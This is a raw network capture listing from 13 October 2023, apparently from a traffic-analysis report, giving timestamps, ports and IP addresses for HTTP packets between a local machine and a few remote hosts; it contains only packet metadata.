Oct 13, 2023 16:06:15.402913094 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402956009 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.403019905 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403050900 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403094053 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.403150082 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403234005 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403285980 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.403342962 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403428078 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403467894 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.403508902 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403595924 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403678894 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.403682947 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403774977 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403820038 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.403879881 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.403965950 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404011965 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404067039 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404140949 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404186010 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404206038 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404309988 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404380083 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404381037 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404486895 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404511929 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404555082 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404619932 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404625893 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404731035 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404771090 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404795885 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404895067 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.404941082 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.404963970 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405056953 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405102968 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.405137062 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405209064 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405252934 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.405302048 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405399084 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405447960 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.405462027 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405580997 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405627012 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.405661106 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405761003 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405806065 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.405829906 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405921936 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.405966997 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.406030893 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406145096 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406198978 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.406229973 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406323910 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406373978 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.406389952 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406455994 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406502008 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.406583071 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406642914 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406711102 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.406769991 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406786919 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406858921 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.406868935 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.406989098 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.407032013 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.407054901 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.407167912 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.407216072 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.407247066 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.407356024 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.407409906 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.440915108 CEST	49787	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:15.441468000 CEST	49788	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:15.548466921 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548492908 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548506021 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548569918 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548643112 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548643112 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548643112 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548662901 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548703909 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548748970 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548789978 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548794985 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548851013 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548856020 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548923969 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548938036 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.548974037 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.548995018 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.549034119 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.723779917 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723798990 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723817110 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723858118 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723871946 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.723890066 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723903894 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723916054 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723927975 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723941088 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.723941088 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.723947048 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723959923 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723968983 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.723972082 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723990917 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.723999023 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724011898 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724025011 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724041939 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724049091 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724061012 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724067926 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724087000 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724114895 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724121094 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724137068 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724176884 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724184990 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724205971 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724219084 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724230051 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724234104 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724255085 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724262953 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724268913 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724282026 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724296093 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724299908 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724322081 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724354029 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724380970 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724395037 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724395037 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724411011 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724428892 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724436998 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724442959 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724462032 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724481106 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724483967 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724505901 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724510908 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724551916 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724562883 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724576950 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724606991 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724617958 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724627972 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724664927 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724673033 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724678993 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724698067 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724711895 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724725962 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724731922 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724747896 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724762917 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724806070 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.724813938 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724828005 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.724879980 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725040913 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725085020 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725109100 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725132942 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725136995 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725172043 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725217104 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725230932 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725244045 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725279093 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725307941 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725322008 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725353003 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725354910 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725369930 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725389004 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725393057 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725402117 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725438118 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725441933 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725486040 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725488901 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725550890 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725564003 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725589991 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725599051 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725604057 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725636959 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725665092 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725678921 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725699902 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725708961 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725718975 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725732088 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725747108 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725764036 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725785017 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725795984 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725810051 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725836992 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725841045 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725886106 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.725892067 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725949049 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725986958 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.725997925 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.726001978 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726047039 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.726061106 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726108074 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726121902 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726156950 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726165056 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.726192951 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.726210117 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726228952 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726270914 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.726639986 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726763964 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726797104 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726811886 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.726814032 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726860046 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.726892948 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726907015 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.726948977 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.727018118 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727061033 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727104902 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.727185011 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727222919 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727267027 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.727514982 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727528095 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727579117 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.727605104 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727618933 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727660894 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.727895021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727907896 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.727950096 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.728169918 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.728238106 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.728281975 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.728774071 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.728817940 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.728830099 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.728852987 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.728862047 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.728890896 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.728950977 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.728971004 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729013920 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.729161978 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729175091 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729221106 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.729659081 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729677916 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729723930 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.729782104 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729837894 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729851007 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729881048 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.729902983 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729916096 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729928017 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.729944944 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.729974031 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730132103 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730144978 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730179071 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730190992 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730191946 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730236053 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730396986 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730436087 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730515957 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730561972 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730573893 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730618954 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730649948 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730681896 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730720043 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730762005 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730916023 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730928898 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.730937004 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.730978966 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.731029987 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731090069 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731133938 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.731296062 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731338024 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731389999 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.731417894 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731431961 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731483936 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.731597900 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731648922 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731693983 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.731772900 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731801987 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731833935 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731848955 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.731884003 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.731933117 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.731965065 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732047081 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732095957 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.732127905 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732141972 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732191086 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.732372046 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732384920 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732429981 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.732460022 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732479095 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.732527971 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.734142065 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.734154940 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.734174967 CEST	80	49784	171.22.28.219	192.168.2.4
